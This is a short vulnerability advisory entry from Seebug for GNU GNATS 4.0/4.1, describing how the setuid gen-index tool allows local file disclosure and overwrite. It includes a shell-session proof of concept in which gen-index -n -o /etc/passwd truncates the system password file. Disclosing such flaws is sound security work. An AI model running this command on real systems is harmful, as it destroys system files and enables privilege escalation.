GNU GNATS 4.0/4.1 Gen-Index Arbitrary Local File Disclosure/Overwrite Vulnerability

ID SSV:79598
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


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GNU GNATS gen-index allows local attackers to disclose and overwrite arbitrary files.

A successful attack can result in privilege escalation and a complete compromise of the affected computer as gen-index is installed with setuid permissions.

GNU GNATS 4.0 and 4.1.0 are reported to be affected. Other versions may be vulnerable as well. 

pi3@darkstar:~$ pwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd